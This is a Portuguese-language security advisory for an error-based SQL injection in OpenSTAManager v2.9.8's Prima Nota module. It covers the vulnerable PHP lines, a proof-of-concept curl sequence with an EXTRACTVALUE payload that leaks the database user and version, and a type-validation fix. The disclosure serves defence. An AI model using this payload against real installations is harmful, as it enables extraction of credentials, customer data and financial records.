
CVE-2026-24419 - OpenSTAManager has a SQL Injection in the Prima Nota module
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-24419 |
| Severidade | ALTA |
| Aviso | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Vulnerabilidade Crítica de Injeção SQL Baseada em Erro no módulo Prima Nota (Lançamento de Diário) do OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam todo o conteúdo do banco de dados, incluindo credenciais de usuário, informações pessoais identificáveis (PII) de clientes e registros financeiros, através de mensagens de erro XML ao injetar SQL malicioso em parâmetros de URL.
Status: ✅ Confirmado e testado em instância ativa (v2.9.8)
Parâmetros Vulneráveis: id_documenti (parâmetros GET)
Endpoint Afetado: /modules/primanota/add.php
Tipo de Ataque: Injeção SQL Baseada em Erro (cláusula IN)
O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção SQL Baseada em Erro no arquivo add.php do módulo Prima Nota (Lançamento de Diário). A aplicação falha ao validar que valores separados por vírgula de parâmetros GET são inteiros antes de usá-los em cláusulas SQL IN(), permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis através de mensagens de erro XPATH.
Cadeia de Vulnerabilidade:
Ponto de Entrada: /modules/primanota/add.php (Linhas 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Impacto: A função get() recupera parâmetros de URL controlados pelo usuário, explode(',', (string) ...) os divide por vírgula, mas NENHUMA validação garante que os elementos sejam inteiros.
Ponto de Injeção SQL: /modules/primanota/add.php (Linha 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Impacto: Os elementos do array de $id_documenti são concatenados diretamente usando implode() sem validação de tipo ou prepare(), permitindo injeção SQL completa.
Análise de Causa Raiz:
A vulnerabilidade existe porque:
get('id_documenti') retorna strings controladas pelo usuárioexplode(',', (string) $value) divide por vírgula, mas não valida tiposimplode(',', $array) concatena elementos do array diretamente no SQL?id_documenti=1) AND EXTRACTVALUE(...) %23Caminho do Código Afetado:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
Passo 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Passo 2: Verificar Vulnerabilidade (Injeção SQL Baseada em Erro)
Teste 1: Extrair Usuário e Versão do Banco de Dados
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Resposta (mensagem de erro visível para o atacante):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Todos os usuários autenticados com acesso ao módulo Prima Nota (Lançamento de Diário).
Correção Primária - Validação de Tipo:
Arquivo: /modules/primanota/add.php
ANTES (Vulnerável - Linhas 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
DEPOIS (Corrigido):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Descoberto por Łukasz Rybak
Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.